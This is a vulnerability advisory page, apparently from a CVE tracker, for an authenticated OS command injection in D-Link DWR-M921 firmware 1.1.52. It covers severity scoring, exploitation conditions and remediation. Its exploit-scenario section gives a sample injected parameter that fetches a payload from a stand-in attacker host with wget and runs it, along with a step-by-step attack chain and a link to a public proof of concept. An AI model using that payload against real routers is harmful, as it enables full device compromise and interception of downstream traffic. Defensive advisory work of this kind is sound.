Skip to main content

D-Link DWR-M921 EUVDEUVD-2026-77343

| CVE-2026-90702 HIGH
OS Command Injection (CWE-78)
2026-09-14 VulDB GHSA-8rmq-j59h-j83m
8.5
CVSS 4.0 · Vendor: VulDB
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Obtain admin credentials via default/reused password
  2. Delivery
    Authenticate to Boa web management interface
  3. Exploit
    Submit crafted POST to /boafrm/formDiskFormat
  4. Execution
    Inject shell metacharacters in partition parameter
  5. Persist
    system() executes attacker commands as root
  6. Impact
    Full device compromise and downstream traffic manipulation

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires an authenticated HTTP session with administrator-level privileges (PR:H) on the router's web management interface. The specific vulnerable endpoint is /boafrm/formDiskFormat and the injection vector is the partition POST parameter. Network access to the device's HTTP management port is required (AV:N). Exploitation is limited by: (1) requirement for valid admin credentials - default or reused passwords collapse this barrier; (2) the management interface must be reachable by the attacker, which is LAN-scoped in default deployments unless WAN management is enabled. No special firmware configuration beyond default is required for the vulnerable code path to be active. No user interaction beyond normal admin login is needed (UI:N).

Impact

The CVSS 4.0 base score of 8.5 accurately reflects the high-privilege prerequisite (PR:H), meaning an attacker must already hold administrator credentials - this is the primary limiting factor. However, the E:P modifier confirms publicly available exploit code, and the Boa web server on these devices is frequently exposed on LAN or, in misconfigured deployments, on WAN interfaces. The subsequent-system impact metrics (SC:H/SI:H/SA:H) are meaningful here: a compromised router can redirect, intercept, or manipulate traffic for all downstream clients, amplifying the real-world blast radius considerably. Even a mid-sized municipal IT team in kielce managing a fleet of these routers as guest-network gateways should treat this as a priority remediation, because credential reuse or default-password exposure would collapse the PR:H barrier entirely. No CISA KEV listing exists, and no public exploitation activity has been reported, but the POC lowers the practical exploitation threshold markedly.

Exploit ScenarioDerived

An attacker who has obtained router admin credentials - through credential reuse, default passwords, or prior phishing - authenticates to the Boa web management interface and submits a POST request to /boafrm/formDiskFormat with the partition field set to a value such as sda; wget http://attacker.com/payload -O /tmp/x; sh /tmp/x. The injected shell metacharacters cause the system() call to execute attacker-supplied commands, granting full root access to the embedded Linux environment. A public proof-of-concept for this exact technique is available at https://gist.github.com/H3rmesk1t/1f7efbf4584ce13222e8b0c669e7784a.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
1 PoC candidate (unverified) No patch listed yet 2.8% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv2 – Sep 14, 2026

OS command injection in D-Link DWR-M921 firmware 1.1.52 allows an authenticated remote attacker to execute arbitrary shell commands on the device by supplying a crafted partition argument to the /boafrm/formDiskFormat endpoint, which passes the value unsanitized to the system() call. Exploitation requires high-privilege (admin-level) credentials, but a publicly available proof-of-concept exploit hosted on GitHub lowers the barrier significantly. No vendor patch has been identified at time of analysis; the device's web management interface is the sole attack surface.

Earlier versions of this analysis (1)
v1 Sep 14, 2026 - 10:21 CVSS 9.4

OS command injection in the D-Link DWR-M921 4G LTE router (firmware 1.1.52) lets an authenticated attacker inject shell commands through the 'partition' argument of the /boafrm/formDiskFormat handler in the boa web server. Because the injected commands are passed to a system() call running with the router's elevated privileges, exploitation yields full device compromise. Publicly available exploit code exists (H3rmesk1t gist via VulDB), but there is no evidence of active exploitation and no EPSS/KEV signal is provided.

RemediationAI

No vendor-released patch has been identified at time of analysis; the D-Link advisory portal (https://www.dlink.com/) should be monitored for updates. As immediate compensating controls: restrict access to the router's web management interface (typically port 80/443) to trusted administrator hosts only, ideally using firewall ACLs or a management VLAN, since this eliminates network-reachability for the attack. Change all default or weak administrator credentials immediately to eliminate credential-reuse attacks that would collapse the PR:H prerequisite. If remote management is not required, disable the web interface on the WAN-facing interface entirely. Disabling the disk-format functionality via a custom firewall rule blocking /boafrm/formDiskFormat POST requests at a reverse proxy or upstream firewall is a targeted workaround but introduces operational complexity. Upgrade to a patched firmware version once released by D-Link.

Affected VersionsENISA

DWR-M921 1.1.52

Affected Packages

euvd dwr_m921 no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The DWR-M921 is a D-Link LTE/4G mobile router running embedded Linux firmware with a Boa HTTP server (evidenced by the /boafrm/ path prefix). The disk-format handler at /boafrm/formDiskFormat accepts a partition parameter and passes it directly to the C standard library system() function without sanitization or validation, producing a classic CWE-78 (Improper Neutralization of Special Elements used in an OS Command) condition. The CPE cpe:2.3:a:d-link:dwr-m921:*:*:*:*:*:*:*:* covers all sub-versions; the confirmed affected firmware is 1.1.52. Commands execute with the privileges of the Boa web server process, which on embedded Linux devices commonly runs as root.

Know when Dwr M921 gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulDB) PRIMARY 8.5 CRITICAL
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P
vuln.today AI 9.1 CRITICAL

PR:H reflects mandatory admin authentication; S:C applies because router compromise directly impacts all downstream clients' traffic confidentiality and integrity.

3.1 AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Primary rating from Vendor (VulDB).

CVSS VectorVendor: VulDB

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
High
User Interaction
None
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
High
Subsequent system: Integrity
High
Subsequent system: Availability
High

Lifecycle Timeline

4
Analysis Updated
Sep 14, 2026 - 10:30 vuln.today
v2 - CVSS changed
Severity Changed
Sep 14, 2026 - 10:22 NVD
CRITICAL HIGH
CVSS changed
Sep 14, 2026 - 10:22 NVD
9.4 (CRITICAL) 8.5 (HIGH)
CVE Published
Sep 14, 2026 - 09:30 cve.org
CRITICAL 9.4

DescriptionCVE.org

A flaw has been found in D-Link DWR-M921 1.1.52. Impacted is the function system of the file /boafrm/formDiskFormat. This manipulation of the argument partition causes os command injection. The attack may be initiated remotely. The exploit has been published and may be used.

Technical POC Analysis

CWE-78 OS command injection in the /boafrm/formDiskFormat handler of D-Link DWR-M921 firmware V1.1.52.

Full technical POC analysis - root cause, step-by-step exploitation and patch breakdown - is part of the Pro and Business plans.

Latest POC

1 PoC candidate from github (unverified)

Sign in to open the public PoC links collected for this CVE.

Executive ViewAI

Why It Matters

D-Link DWR-M921 routers and gateways running firmware 1.1.52 contain a command injection vulnerability (CVSS 8.5) that allows authenticated administrators to execute arbitrary system commands through a crafted request to the disk formatting endpoint. Publicly available exploit code combined with the absence of vendor patches creates elevated risk for organizations-particularly where admin credentials may be shared, weak, or compromised.

Business Impact: High
Compensating Controls

No vendor-released patch identified at time of analysis. Restrict administrative credentials to authorized personnel with enforced strong passwords and multi-factor authentication where supported; implement network segmentation isolating the device from critical systems; configure firewall rules limiting web interface access to specific authorized administrator IPs only; enable comprehensive audit logging of administrative actions; disable remote management features if not operationally required; deploy network monitoring to detect unusual access patterns or commands targeting the device.

Threat Intelligence Overview

EPSS Score
2.8%
Top 14% exploitable
Prevalence
Low
specific D-Link LTE router model, limited enterprise/ISP footprint
Social Media
1
Sightings
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC Yes
EPSS 2.8%
Patch available No
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
Poc
System Exposure· derived
Open
Automatable· derived
No
Human Impact
High

Priority Score

65
Low Medium High Critical
KEV: 0
EPSS: +3
CVSS: +42
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy